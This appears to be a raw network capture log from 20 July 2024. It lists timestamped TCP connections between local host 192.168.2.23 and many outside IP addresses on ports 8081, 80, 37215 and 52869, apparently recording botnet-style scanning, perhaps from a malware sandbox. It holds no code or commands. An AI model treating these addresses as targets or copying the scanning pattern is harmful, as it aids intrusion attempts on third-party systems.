Jul 20, 2024 23:00:59.519751072 CEST	32776	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:59.519751072 CEST	32776	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:59.519942999 CEST	8081	54818	91.28.193.161	192.168.2.23
Jul 20, 2024 23:00:59.519988060 CEST	54818	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:59.520526886 CEST	37215	60530	41.50.33.93	192.168.2.23
Jul 20, 2024 23:00:59.520593882 CEST	80	47570	95.251.168.6	192.168.2.23
Jul 20, 2024 23:00:59.520657063 CEST	80	47314	95.19.197.138	192.168.2.23
Jul 20, 2024 23:00:59.520678997 CEST	60530	37215	192.168.2.23	41.50.33.93
Jul 20, 2024 23:00:59.521209002 CEST	48712	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:00:59.522077084 CEST	52869	35072	205.45.42.138	192.168.2.23
Jul 20, 2024 23:00:59.522124052 CEST	35072	52869	192.168.2.23	205.45.42.138
Jul 20, 2024 23:00:59.522985935 CEST	33666	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:59.524791002 CEST	8081	50832	138.111.21.139	192.168.2.23
Jul 20, 2024 23:00:59.524802923 CEST	8081	32776	186.49.44.43	192.168.2.23
Jul 20, 2024 23:00:59.526209116 CEST	53158	37215	192.168.2.23	197.197.73.14
Jul 20, 2024 23:00:59.526700020 CEST	80	48712	95.251.168.6	192.168.2.23
Jul 20, 2024 23:00:59.526747942 CEST	39980	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:00:59.526747942 CEST	39980	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:00:59.526771069 CEST	48712	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:00:59.527473927 CEST	45318	8081	192.168.2.23	141.128.229.14
Jul 20, 2024 23:00:59.527473927 CEST	45318	8081	192.168.2.23	141.128.229.14
Jul 20, 2024 23:00:59.527698040 CEST	37000	52869	192.168.2.23	77.76.243.3
Jul 20, 2024 23:00:59.528419971 CEST	8081	33666	186.49.44.43	192.168.2.23
Jul 20, 2024 23:00:59.528561115 CEST	33666	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:59.528740883 CEST	80	34976	95.105.125.225	192.168.2.23
Jul 20, 2024 23:00:59.528879881 CEST	8081	58288	69.10.172.90	192.168.2.23
Jul 20, 2024 23:00:59.531599045 CEST	37215	53158	197.197.73.14	192.168.2.23
Jul 20, 2024 23:00:59.531622887 CEST	41122	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:00:59.531672001 CEST	53158	37215	192.168.2.23	197.197.73.14
Jul 20, 2024 23:00:59.531835079 CEST	80	39980	95.253.245.225	192.168.2.23
Jul 20, 2024 23:00:59.532654047 CEST	46210	8081	192.168.2.23	141.128.229.14
Jul 20, 2024 23:00:59.532679081 CEST	80	45460	95.158.140.140	192.168.2.23
Jul 20, 2024 23:00:59.532691002 CEST	8081	47820	144.111.168.245	192.168.2.23
Jul 20, 2024 23:00:59.533009052 CEST	8081	45318	141.128.229.14	192.168.2.23
Jul 20, 2024 23:00:59.533114910 CEST	52869	37000	77.76.243.3	192.168.2.23
Jul 20, 2024 23:00:59.533252001 CEST	37000	52869	192.168.2.23	77.76.243.3
Jul 20, 2024 23:00:59.533855915 CEST	52086	37215	192.168.2.23	197.182.113.83
Jul 20, 2024 23:00:59.536353111 CEST	51400	52869	192.168.2.23	9.134.98.50
Jul 20, 2024 23:00:59.536817074 CEST	80	41122	95.253.245.225	192.168.2.23
Jul 20, 2024 23:00:59.536864042 CEST	41122	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:00:59.536994934 CEST	40220	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:00:59.536994934 CEST	40220	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:00:59.537795067 CEST	8081	46210	141.128.229.14	192.168.2.23
Jul 20, 2024 23:00:59.537853003 CEST	45522	8081	192.168.2.23	83.149.186.96
Jul 20, 2024 23:00:59.537862062 CEST	46210	8081	192.168.2.23	141.128.229.14
Jul 20, 2024 23:00:59.538145065 CEST	45522	8081	192.168.2.23	83.149.186.96
Jul 20, 2024 23:00:59.539994001 CEST	37215	52086	197.182.113.83	192.168.2.23
Jul 20, 2024 23:00:59.540041924 CEST	52086	37215	192.168.2.23	197.182.113.83
Jul 20, 2024 23:00:59.540440083 CEST	46412	8081	192.168.2.23	83.149.186.96
Jul 20, 2024 23:00:59.540745974 CEST	80	59148	95.219.125.105	192.168.2.23
Jul 20, 2024 23:00:59.540771008 CEST	8081	43298	212.52.36.237	192.168.2.23
Jul 20, 2024 23:00:59.541605949 CEST	41364	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:00:59.542174101 CEST	52869	51400	9.134.98.50	192.168.2.23
Jul 20, 2024 23:00:59.542223930 CEST	51400	52869	192.168.2.23	9.134.98.50
Jul 20, 2024 23:00:59.543207884 CEST	80	40220	95.94.173.132	192.168.2.23
Jul 20, 2024 23:00:59.543266058 CEST	57110	37215	192.168.2.23	41.126.189.157
Jul 20, 2024 23:00:59.543678045 CEST	8081	45522	83.149.186.96	192.168.2.23
Jul 20, 2024 23:00:59.544847012 CEST	42656	8081	192.168.2.23	125.22.92.96
Jul 20, 2024 23:00:59.544847012 CEST	42656	8081	192.168.2.23	125.22.92.96
Jul 20, 2024 23:00:59.545017958 CEST	41386	52869	192.168.2.23	78.200.30.164
Jul 20, 2024 23:00:59.545870066 CEST	50950	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:00:59.545870066 CEST	50950	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:00:59.547358036 CEST	8081	46412	83.149.186.96	192.168.2.23
Jul 20, 2024 23:00:59.547406912 CEST	46412	8081	192.168.2.23	83.149.186.96
Jul 20, 2024 23:00:59.547933102 CEST	80	41364	95.94.173.132	192.168.2.23
Jul 20, 2024 23:00:59.548078060 CEST	41364	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:00:59.548719883 CEST	43548	8081	192.168.2.23	125.22.92.96
Jul 20, 2024 23:00:59.548726082 CEST	8081	34944	36.61.132.121	192.168.2.23
Jul 20, 2024 23:00:59.550188065 CEST	37215	57110	41.126.189.157	192.168.2.23
Jul 20, 2024 23:00:59.550244093 CEST	57110	37215	192.168.2.23	41.126.189.157
Jul 20, 2024 23:00:59.550431013 CEST	51864	37215	192.168.2.23	41.229.84.234
Jul 20, 2024 23:00:59.550584078 CEST	52096	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:00:59.551366091 CEST	8081	42656	125.22.92.96	192.168.2.23
Jul 20, 2024 23:00:59.551676035 CEST	34874	52869	192.168.2.23	134.167.171.74
Jul 20, 2024 23:00:59.551784992 CEST	52869	41386	78.200.30.164	192.168.2.23
Jul 20, 2024 23:00:59.551826000 CEST	41386	52869	192.168.2.23	78.200.30.164
Jul 20, 2024 23:00:59.551964998 CEST	80	50950	95.143.218.123	192.168.2.23
Jul 20, 2024 23:00:59.552676916 CEST	80	46708	95.249.221.188	192.168.2.23
Jul 20, 2024 23:00:59.553442001 CEST	41988	8081	192.168.2.23	158.125.86.92
Jul 20, 2024 23:00:59.553442001 CEST	41988	8081	192.168.2.23	158.125.86.92
Jul 20, 2024 23:00:59.555308104 CEST	8081	43548	125.22.92.96	192.168.2.23
Jul 20, 2024 23:00:59.556940079 CEST	8081	53926	91.28.193.161	192.168.2.23
Jul 20, 2024 23:00:59.557709932 CEST	37215	51864	41.229.84.234	192.168.2.23
Jul 20, 2024 23:00:59.557837963 CEST	80	52096	95.143.218.123	192.168.2.23
Jul 20, 2024 23:00:59.558927059 CEST	52869	34874	134.167.171.74	192.168.2.23
Jul 20, 2024 23:00:59.565341949 CEST	80	47570	95.251.168.6	192.168.2.23
Jul 20, 2024 23:00:59.565563917 CEST	8081	41988	158.125.86.92	192.168.2.23
Jul 20, 2024 23:00:59.568708897 CEST	8081	32776	186.49.44.43	192.168.2.23
Jul 20, 2024 23:00:59.572942019 CEST	80	39980	95.253.245.225	192.168.2.23
Jul 20, 2024 23:00:59.576649904 CEST	8081	45318	141.128.229.14	192.168.2.23
Jul 20, 2024 23:00:59.578732967 CEST	43548	8081	192.168.2.23	125.22.92.96
Jul 20, 2024 23:00:59.588680983 CEST	8081	45522	83.149.186.96	192.168.2.23
Jul 20, 2024 23:00:59.588694096 CEST	80	40220	95.94.173.132	192.168.2.23
Jul 20, 2024 23:00:59.593987942 CEST	80	50950	95.143.218.123	192.168.2.23
Jul 20, 2024 23:00:59.594000101 CEST	8081	42656	125.22.92.96	192.168.2.23
Jul 20, 2024 23:00:59.612694979 CEST	8081	41988	158.125.86.92	192.168.2.23
Jul 20, 2024 23:00:59.644289017 CEST	80	45154	95.223.155.253	192.168.2.23
Jul 20, 2024 23:00:59.662934065 CEST	34874	52869	192.168.2.23	134.167.171.74
Jul 20, 2024 23:00:59.676868916 CEST	51864	37215	192.168.2.23	41.229.84.234
Jul 20, 2024 23:00:59.678522110 CEST	52869	55240	23.94.137.105	192.168.2.23
Jul 20, 2024 23:00:59.678911924 CEST	45154	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:59.686366081 CEST	48800	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:59.691903114 CEST	48800	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:59.698410034 CEST	80	48800	95.65.26.117	192.168.2.23
Jul 20, 2024 23:00:59.702685118 CEST	42880	8081	192.168.2.23	158.125.86.92
Jul 20, 2024 23:00:59.704735041 CEST	49944	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:59.706012964 CEST	48800	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:59.707824945 CEST	35034	8081	192.168.2.23	202.229.106.73
Jul 20, 2024 23:00:59.707824945 CEST	35034	8081	192.168.2.23	202.229.106.73
Jul 20, 2024 23:00:59.708442926 CEST	8081	42880	158.125.86.92	192.168.2.23
Jul 20, 2024 23:00:59.708498955 CEST	42880	8081	192.168.2.23	158.125.86.92
Jul 20, 2024 23:00:59.709825039 CEST	38308	52869	192.168.2.23	129.27.232.7
Jul 20, 2024 23:00:59.710815907 CEST	80	49944	95.65.26.117	192.168.2.23
Jul 20, 2024 23:00:59.710891962 CEST	49944	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:00:59.711406946 CEST	80	48800	95.65.26.117	192.168.2.23
Jul 20, 2024 23:00:59.712786913 CEST	44420	37215	192.168.2.23	157.90.253.17
Jul 20, 2024 23:00:59.712867975 CEST	8081	35034	202.229.106.73	192.168.2.23
Jul 20, 2024 23:00:59.713021994 CEST	57672	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:00:59.714922905 CEST	52869	38308	129.27.232.7	192.168.2.23
Jul 20, 2024 23:00:59.714987993 CEST	38308	52869	192.168.2.23	129.27.232.7
Jul 20, 2024 23:00:59.715714931 CEST	49284	8081	192.168.2.23	43.197.192.55
Jul 20, 2024 23:00:59.715714931 CEST	49284	8081	192.168.2.23	43.197.192.55
Jul 20, 2024 23:00:59.718199015 CEST	37215	44420	157.90.253.17	192.168.2.23
Jul 20, 2024 23:00:59.718219042 CEST	80	57672	95.150.120.62	192.168.2.23
Jul 20, 2024 23:00:59.718261003 CEST	44420	37215	192.168.2.23	157.90.253.17
Jul 20, 2024 23:00:59.718430996 CEST	57672	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:00:59.718523026 CEST	56526	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:00:59.718523026 CEST	56526	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:00:59.719860077 CEST	80	52606	95.29.14.111	192.168.2.23
Jul 20, 2024 23:00:59.720813036 CEST	8081	49284	43.197.192.55	192.168.2.23
Jul 20, 2024 23:00:59.721868038 CEST	52606	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:59.721991062 CEST	55240	52869	192.168.2.23	23.94.137.105
Jul 20, 2024 23:00:59.721991062 CEST	35928	8081	192.168.2.23	202.229.106.73
Jul 20, 2024 23:00:59.721991062 CEST	34152	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:00:59.721991062 CEST	34152	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:00:59.721991062 CEST	35296	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:00:59.722702980 CEST	46204	8081	192.168.2.23	192.33.113.202
Jul 20, 2024 23:00:59.722702980 CEST	46204	8081	192.168.2.23	192.33.113.202
Jul 20, 2024 23:00:59.725159883 CEST	52096	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:00:59.725831032 CEST	80	56526	95.150.120.62	192.168.2.23
Jul 20, 2024 23:00:59.726722002 CEST	60246	52869	192.168.2.23	40.55.203.85
Jul 20, 2024 23:00:59.726722002 CEST	54260	37215	192.168.2.23	25.6.33.130
Jul 20, 2024 23:00:59.727868080 CEST	8081	46204	192.33.113.202	192.168.2.23
Jul 20, 2024 23:00:59.728363037 CEST	8081	35928	202.229.106.73	192.168.2.23
Jul 20, 2024 23:00:59.728492022 CEST	80	34152	95.155.161.231	192.168.2.23
Jul 20, 2024 23:00:59.729317904 CEST	80	35296	95.155.161.231	192.168.2.23
Jul 20, 2024 23:00:59.729676008 CEST	47098	8081	192.168.2.23	192.33.113.202
Jul 20, 2024 23:00:59.730088949 CEST	49988	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:59.731014967 CEST	60452	37215	192.168.2.23	25.19.64.41
Jul 20, 2024 23:00:59.731014967 CEST	35928	8081	192.168.2.23	202.229.106.73
Jul 20, 2024 23:00:59.731014967 CEST	35296	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:00:59.732269049 CEST	52869	60246	40.55.203.85	192.168.2.23
Jul 20, 2024 23:00:59.732899904 CEST	60246	52869	192.168.2.23	40.55.203.85
Jul 20, 2024 23:00:59.732899904 CEST	45918	8081	192.168.2.23	130.9.138.83
Jul 20, 2024 23:00:59.733194113 CEST	37215	54260	25.6.33.130	192.168.2.23
Jul 20, 2024 23:00:59.733234882 CEST	54260	37215	192.168.2.23	25.6.33.130
Jul 20, 2024 23:00:59.735421896 CEST	80	49988	95.185.211.152	192.168.2.23
Jul 20, 2024 23:00:59.735492945 CEST	49988	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:59.735687017 CEST	46116	37215	192.168.2.23	157.170.103.64
Jul 20, 2024 23:00:59.736867905 CEST	37215	60452	25.19.64.41	192.168.2.23
Jul 20, 2024 23:00:59.736923933 CEST	60452	37215	192.168.2.23	25.19.64.41
Jul 20, 2024 23:00:59.737310886 CEST	46534	8081	192.168.2.23	165.83.86.189
Jul 20, 2024 23:00:59.737332106 CEST	58182	8081	192.168.2.23	27.92.33.187
Jul 20, 2024 23:00:59.737369061 CEST	36522	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:59.737409115 CEST	55676	8081	192.168.2.23	91.130.196.71
Jul 20, 2024 23:00:59.737447023 CEST	42210	8081	192.168.2.23	157.217.88.36
Jul 20, 2024 23:00:59.737447023 CEST	54532	8081	192.168.2.23	103.122.90.220
Jul 20, 2024 23:00:59.737458944 CEST	49408	8081	192.168.2.23	69.135.152.58
Jul 20, 2024 23:00:59.737458944 CEST	56362	8081	192.168.2.23	129.66.19.4
Jul 20, 2024 23:00:59.737517118 CEST	37788	8081	192.168.2.23	162.88.219.206
Jul 20, 2024 23:00:59.737517118 CEST	40620	8081	192.168.2.23	182.241.162.14
Jul 20, 2024 23:00:59.737517118 CEST	38158	8081	192.168.2.23	130.192.156.155
Jul 20, 2024 23:00:59.737517118 CEST	55052	8081	192.168.2.23	116.5.187.7
Jul 20, 2024 23:00:59.737517118 CEST	42544	8081	192.168.2.23	78.220.143.116
Jul 20, 2024 23:00:59.737575054 CEST	52598	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:59.737575054 CEST	54806	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:59.737617016 CEST	59288	8081	192.168.2.23	42.37.47.7
Jul 20, 2024 23:00:59.737617016 CEST	43144	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:59.737617016 CEST	53866	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:59.737617016 CEST	55068	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:59.737931013 CEST	8081	47098	192.33.113.202	192.168.2.23
Jul 20, 2024 23:00:59.738272905 CEST	35830	8081	192.168.2.23	177.95.54.71
Jul 20, 2024 23:00:59.738272905 CEST	45628	8081	192.168.2.23	44.246.32.7
Jul 20, 2024 23:00:59.738272905 CEST	50028	8081	192.168.2.23	40.204.235.232
Jul 20, 2024 23:00:59.738272905 CEST	44126	8081	192.168.2.23	40.34.22.17
Jul 20, 2024 23:00:59.738272905 CEST	40136	8081	192.168.2.23	50.166.250.192
Jul 20, 2024 23:00:59.738272905 CEST	55616	8081	192.168.2.23	116.31.165.18
Jul 20, 2024 23:00:59.738272905 CEST	39654	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:00:59.738272905 CEST	40404	8081	192.168.2.23	45.29.220.56
Jul 20, 2024 23:00:59.738419056 CEST	8081	45918	130.9.138.83	192.168.2.23
Jul 20, 2024 23:00:59.738837004 CEST	58254	8081	192.168.2.23	68.41.70.255
Jul 20, 2024 23:00:59.738837004 CEST	33376	8081	192.168.2.23	219.185.132.28
Jul 20, 2024 23:00:59.738837004 CEST	59102	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:59.738837004 CEST	50762	8081	192.168.2.23	77.232.27.69
Jul 20, 2024 23:00:59.738837004 CEST	58612	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:59.738837004 CEST	47098	8081	192.168.2.23	192.33.113.202
Jul 20, 2024 23:00:59.738837004 CEST	38348	8081	192.168.2.23	78.218.78.120
Jul 20, 2024 23:00:59.738837004 CEST	53884	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:59.738934040 CEST	38020	8081	192.168.2.23	113.230.96.58
Jul 20, 2024 23:00:59.738934040 CEST	55746	8081	192.168.2.23	150.211.33.207
Jul 20, 2024 23:00:59.738934040 CEST	35750	8081	192.168.2.23	58.209.208.205
Jul 20, 2024 23:00:59.738934040 CEST	49174	8081	192.168.2.23	174.211.130.59
Jul 20, 2024 23:00:59.738934040 CEST	44008	8081	192.168.2.23	143.178.252.246
Jul 20, 2024 23:00:59.738934040 CEST	58886	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:59.738934040 CEST	54604	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:59.738934040 CEST	33197	8081	192.168.2.23	99.97.179.204
Jul 20, 2024 23:00:59.739012003 CEST	50176	8081	192.168.2.23	43.197.192.55
Jul 20, 2024 23:00:59.739012003 CEST	42144	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:00:59.739012957 CEST	42144	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:00:59.739126921 CEST	40594	8081	192.168.2.23	50.238.59.193
Jul 20, 2024 23:00:59.739126921 CEST	59658	8081	192.168.2.23	61.254.65.221
Jul 20, 2024 23:00:59.739126921 CEST	55824	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:59.739126921 CEST	34972	8081	192.168.2.23	79.214.171.15
Jul 20, 2024 23:00:59.739126921 CEST	52052	8081	192.168.2.23	213.64.167.149
Jul 20, 2024 23:00:59.739126921 CEST	55436	8081	192.168.2.23	202.218.212.3
Jul 20, 2024 23:00:59.739126921 CEST	44870	8081	192.168.2.23	169.22.153.45
Jul 20, 2024 23:00:59.739126921 CEST	44426	8081	192.168.2.23	206.223.137.129
Jul 20, 2024 23:00:59.739327908 CEST	47918	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:59.739327908 CEST	45090	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:59.739327908 CEST	51744	8081	192.168.2.23	39.251.53.179
Jul 20, 2024 23:00:59.739327908 CEST	44656	8081	192.168.2.23	47.26.45.215
Jul 20, 2024 23:00:59.739327908 CEST	45110	8081	192.168.2.23	95.74.8.198
Jul 20, 2024 23:00:59.739327908 CEST	48578	8081	192.168.2.23	186.199.72.114
Jul 20, 2024 23:00:59.739327908 CEST	56348	8081	192.168.2.23	96.99.34.154
Jul 20, 2024 23:00:59.739327908 CEST	52218	8081	192.168.2.23	110.138.50.100
Jul 20, 2024 23:00:59.740804911 CEST	37215	46116	157.170.103.64	192.168.2.23
Jul 20, 2024 23:00:59.741435051 CEST	35546	8081	192.168.2.23	191.189.55.135
Jul 20, 2024 23:00:59.741435051 CEST	40296	8081	192.168.2.23	110.90.71.250
Jul 20, 2024 23:00:59.741435051 CEST	42352	8081	192.168.2.23	49.49.107.76
Jul 20, 2024 23:00:59.741435051 CEST	55942	8081	192.168.2.23	191.158.189.2
Jul 20, 2024 23:00:59.741435051 CEST	51864	8081	192.168.2.23	14.240.127.137
Jul 20, 2024 23:00:59.743051052 CEST	46612	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:59.743051052 CEST	60290	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:59.743051052 CEST	43548	8081	192.168.2.23	125.22.92.96
Jul 20, 2024 23:00:59.743051052 CEST	42880	8081	192.168.2.23	158.125.86.92
Jul 20, 2024 23:00:59.743051052 CEST	33197	8081	192.168.2.23	187.59.27.4
Jul 20, 2024 23:00:59.743051052 CEST	33197	8081	192.168.2.23	104.59.76.189
Jul 20, 2024 23:00:59.743051052 CEST	33197	8081	192.168.2.23	79.133.187.219
Jul 20, 2024 23:00:59.743051052 CEST	33197	8081	192.168.2.23	167.99.170.62
Jul 20, 2024 23:00:59.743890047 CEST	36066	37215	192.168.2.23	58.150.96.208
Jul 20, 2024 23:00:59.743890047 CEST	48844	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:59.743890047 CEST	48844	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:00:59.743954897 CEST	42340	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:59.743954897 CEST	46210	8081	192.168.2.23	141.128.229.14
Jul 20, 2024 23:00:59.743954897 CEST	33197	8081	192.168.2.23	202.125.22.207
Jul 20, 2024 23:00:59.743954897 CEST	33197	8081	192.168.2.23	119.124.181.138
Jul 20, 2024 23:00:59.743954897 CEST	33197	8081	192.168.2.23	198.242.14.247
Jul 20, 2024 23:00:59.743954897 CEST	33197	8081	192.168.2.23	95.92.211.158
Jul 20, 2024 23:00:59.743954897 CEST	33197	8081	192.168.2.23	47.251.51.158
Jul 20, 2024 23:00:59.743954897 CEST	33197	8081	192.168.2.23	150.30.166.70
Jul 20, 2024 23:00:59.744436026 CEST	8081	46534	165.83.86.189	192.168.2.23
Jul 20, 2024 23:00:59.744463921 CEST	8081	58182	27.92.33.187	192.168.2.23
Jul 20, 2024 23:00:59.744477987 CEST	8081	36522	79.87.222.247	192.168.2.23
Jul 20, 2024 23:00:59.744518995 CEST	8081	55676	91.130.196.71	192.168.2.23
Jul 20, 2024 23:00:59.744555950 CEST	8081	37788	162.88.219.206	192.168.2.23
Jul 20, 2024 23:00:59.744710922 CEST	54140	8081	192.168.2.23	180.150.232.28
Jul 20, 2024 23:00:59.744710922 CEST	48706	8081	192.168.2.23	144.111.168.245
Jul 20, 2024 23:00:59.744712114 CEST	44188	8081	192.168.2.23	212.52.36.237
Jul 20, 2024 23:00:59.744712114 CEST	35928	8081	192.168.2.23	202.229.106.73
Jul 20, 2024 23:00:59.744712114 CEST	33197	8081	192.168.2.23	180.129.156.195
Jul 20, 2024 23:00:59.744712114 CEST	33197	8081	192.168.2.23	217.177.63.80
Jul 20, 2024 23:00:59.744712114 CEST	33197	8081	192.168.2.23	66.104.30.94
Jul 20, 2024 23:00:59.744712114 CEST	33197	8081	192.168.2.23	52.153.126.113
Jul 20, 2024 23:00:59.744832993 CEST	8081	42544	78.220.143.116	192.168.2.23
Jul 20, 2024 23:00:59.744848013 CEST	8081	54532	103.122.90.220	192.168.2.23
Jul 20, 2024 23:00:59.744863987 CEST	8081	52598	42.11.33.26	192.168.2.23
Jul 20, 2024 23:00:59.744879007 CEST	8081	35830	177.95.54.71	192.168.2.23
Jul 20, 2024 23:00:59.744893074 CEST	8081	55052	116.5.187.7	192.168.2.23
Jul 20, 2024 23:00:59.744905949 CEST	8081	53866	45.154.193.96	192.168.2.23
Jul 20, 2024 23:00:59.744919062 CEST	8081	38158	130.192.156.155	192.168.2.23
Jul 20, 2024 23:00:59.744936943 CEST	8081	56362	129.66.19.4	192.168.2.23
Jul 20, 2024 23:00:59.744950056 CEST	8081	43144	158.113.146.43	192.168.2.23
Jul 20, 2024 23:00:59.744972944 CEST	8081	40620	182.241.162.14	192.168.2.23
Jul 20, 2024 23:00:59.744987011 CEST	8081	42210	157.217.88.36	192.168.2.23
Jul 20, 2024 23:00:59.745001078 CEST	8081	49408	69.135.152.58	192.168.2.23
Jul 20, 2024 23:00:59.745014906 CEST	8081	59288	42.37.47.7	192.168.2.23
Jul 20, 2024 23:00:59.745332003 CEST	8081	50176	43.197.192.55	192.168.2.23
Jul 20, 2024 23:00:59.746121883 CEST	38334	52869	192.168.2.23	207.112.16.238
Jul 20, 2024 23:00:59.746123075 CEST	49668	8081	192.168.2.23	31.254.206.145
Jul 20, 2024 23:00:59.746123075 CEST	48434	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:59.746123075 CEST	39730	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:59.746123075 CEST	49146	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:59.746123075 CEST	41980	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:59.746123075 CEST	58022	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:59.746324062 CEST	33197	8081	192.168.2.23	138.179.118.150
Jul 20, 2024 23:00:59.746324062 CEST	33197	8081	192.168.2.23	195.75.132.104
Jul 20, 2024 23:00:59.746324062 CEST	33197	8081	192.168.2.23	199.198.15.240
Jul 20, 2024 23:00:59.746324062 CEST	33197	8081	192.168.2.23	4.144.210.232
Jul 20, 2024 23:00:59.746324062 CEST	33197	8081	192.168.2.23	117.15.5.30
Jul 20, 2024 23:00:59.746324062 CEST	33197	8081	192.168.2.23	17.70.6.73
Jul 20, 2024 23:00:59.746324062 CEST	33197	8081	192.168.2.23	49.214.76.121
Jul 20, 2024 23:00:59.746324062 CEST	33197	8081	192.168.2.23	94.147.150.138
Jul 20, 2024 23:00:59.746328115 CEST	8081	59288	42.37.47.7	192.168.2.23
Jul 20, 2024 23:00:59.746381044 CEST	8081	49408	69.135.152.58	192.168.2.23
Jul 20, 2024 23:00:59.746412039 CEST	8081	42210	157.217.88.36	192.168.2.23
Jul 20, 2024 23:00:59.746442080 CEST	8081	40620	182.241.162.14	192.168.2.23
Jul 20, 2024 23:00:59.746471882 CEST	8081	43144	158.113.146.43	192.168.2.23
Jul 20, 2024 23:00:59.746500969 CEST	80	42144	95.144.250.151	192.168.2.23
Jul 20, 2024 23:00:59.746530056 CEST	8081	56362	129.66.19.4	192.168.2.23
Jul 20, 2024 23:00:59.746558905 CEST	8081	38158	130.192.156.155	192.168.2.23
Jul 20, 2024 23:00:59.746588945 CEST	8081	53866	45.154.193.96	192.168.2.23
Jul 20, 2024 23:00:59.746618986 CEST	8081	55052	116.5.187.7	192.168.2.23
Jul 20, 2024 23:00:59.746649981 CEST	8081	35830	177.95.54.71	192.168.2.23
Jul 20, 2024 23:00:59.746680021 CEST	8081	52598	42.11.33.26	192.168.2.23
Jul 20, 2024 23:00:59.746710062 CEST	8081	54532	103.122.90.220	192.168.2.23
Jul 20, 2024 23:00:59.746845007 CEST	34136	8081	192.168.2.23	40.128.147.134
Jul 20, 2024 23:00:59.746845007 CEST	50036	8081	192.168.2.23	67.146.206.6
Jul 20, 2024 23:00:59.746845007 CEST	43014	8081	192.168.2.23	83.20.70.35
Jul 20, 2024 23:00:59.746845007 CEST	49724	8081	192.168.2.23	13.154.39.145
Jul 20, 2024 23:00:59.746845007 CEST	37222	8081	192.168.2.23	146.31.29.110
Jul 20, 2024 23:00:59.746845007 CEST	34148	8081	192.168.2.23	85.16.45.188
Jul 20, 2024 23:00:59.746845007 CEST	43524	8081	192.168.2.23	157.132.243.78
Jul 20, 2024 23:00:59.746845007 CEST	55000	8081	192.168.2.23	209.57.96.146
Jul 20, 2024 23:00:59.748790026 CEST	8081	40296	110.90.71.250	192.168.2.23
Jul 20, 2024 23:00:59.748837948 CEST	8081	55616	116.31.165.18	192.168.2.23
Jul 20, 2024 23:00:59.748841047 CEST	53640	52869	192.168.2.23	91.10.179.128
Jul 20, 2024 23:00:59.748841047 CEST	45024	8081	192.168.2.23	130.9.138.83
Jul 20, 2024 23:00:59.748841047 CEST	45024	8081	192.168.2.23	130.9.138.83
Jul 20, 2024 23:00:59.748867035 CEST	8081	38348	78.218.78.120	192.168.2.23
Jul 20, 2024 23:00:59.748897076 CEST	8081	44426	206.223.137.129	192.168.2.23
Jul 20, 2024 23:00:59.748927116 CEST	8081	51744	39.251.53.179	192.168.2.23
Jul 20, 2024 23:00:59.748955011 CEST	8081	44870	169.22.153.45	192.168.2.23
Jul 20, 2024 23:00:59.748984098 CEST	8081	35546	191.189.55.135	192.168.2.23
Jul 20, 2024 23:00:59.749011993 CEST	8081	55436	202.218.212.3	192.168.2.23
Jul 20, 2024 23:00:59.749042034 CEST	8081	40136	50.166.250.192	192.168.2.23
Jul 20, 2024 23:00:59.749070883 CEST	8081	52052	213.64.167.149	192.168.2.23
Jul 20, 2024 23:00:59.749099970 CEST	8081	44008	143.178.252.246	192.168.2.23
